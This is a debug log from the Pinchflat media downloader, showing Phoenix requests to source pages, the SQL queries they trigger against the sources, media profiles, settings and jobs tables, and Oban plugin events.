PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 02:44:38.746 [debug] QUERY OK source="sources" db=0.0ms idle=1218.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:44:38.746 [debug] QUERY OK source="sources" db=0.0ms idle=1218.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 02:44:38.746 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1218.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:44:38.746 [debug] QUERY OK source="media_profiles" db=0.0ms idle=334.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 02:44:38.746 [debug] QUERY OK source="tasks" db=0.0ms idle=218.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 02:44:38.746 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:44:38.746 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=0.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [122] 02:44:38.747 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:44:38.747 [debug] QUERY OK source="settings" db=0.2ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:44:38.747 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:44:38.747 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:44:38.747 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:44:38.748 [debug] QUERY OK source="sources" db=0.1ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:44:38.748 [info] Sent 200 in 2ms 02:44:38.748 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:44:38.748 [debug] QUERY OK source="media_items" db=0.2ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 02:44:38.749 [debug] QUERY OK source="sources" db=0.0ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:44:38.749 [debug] QUERY OK source="media_items" db=0.0ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 02:44:38.749 [debug] QUERY OK source="media_items" db=0.0ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 02:44:38.749 [debug] QUERY OK source="sources" db=0.0ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:44:38.749 [debug] QUERY OK source="media_items" db=0.0ms idle=0.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 02:44:38.749 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 02:44:38.750 [info] Sent 200 in 3ms 02:44:39.275 [info] GET /sources/2 02:44:39.275 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 02:44:39.276 [debug] QUERY OK source="sources" db=0.1ms idle=526.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 02:44:39.276 [debug] QUERY OK source="media_profiles" db=0.0ms idle=526.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:44:39.276 [debug] QUERY OK source="tasks" db=0.0ms idle=526.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 02:44:39.276 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=526.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [85] 02:44:39.276 [debug] QUERY OK source="settings" db=0.0ms idle=526.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:44:39.276 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:44:39.276 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:44:39.277 [debug] QUERY OK source="sources" db=0.0ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 02:44:39.277 [debug] QUERY OK source="media_items" db=0.0ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 02:44:39.277 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 02:44:39.278 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 02:44:39.278 [debug] QUERY OK source="media_items" db=0.0ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 02:44:39.278 [debug] QUERY OK source="media_items" db=0.0ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 02:44:39.278 [debug] QUERY OK source="sources" db=0.1ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 02:44:39.279 [debug] QUERY OK source="media_items" db=0.0ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 02:44:39.279 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 02:44:39.279 [info] Sent 200 in 3ms 02:44:59.754 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.240 [info] {"source":"oban","duration":148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]}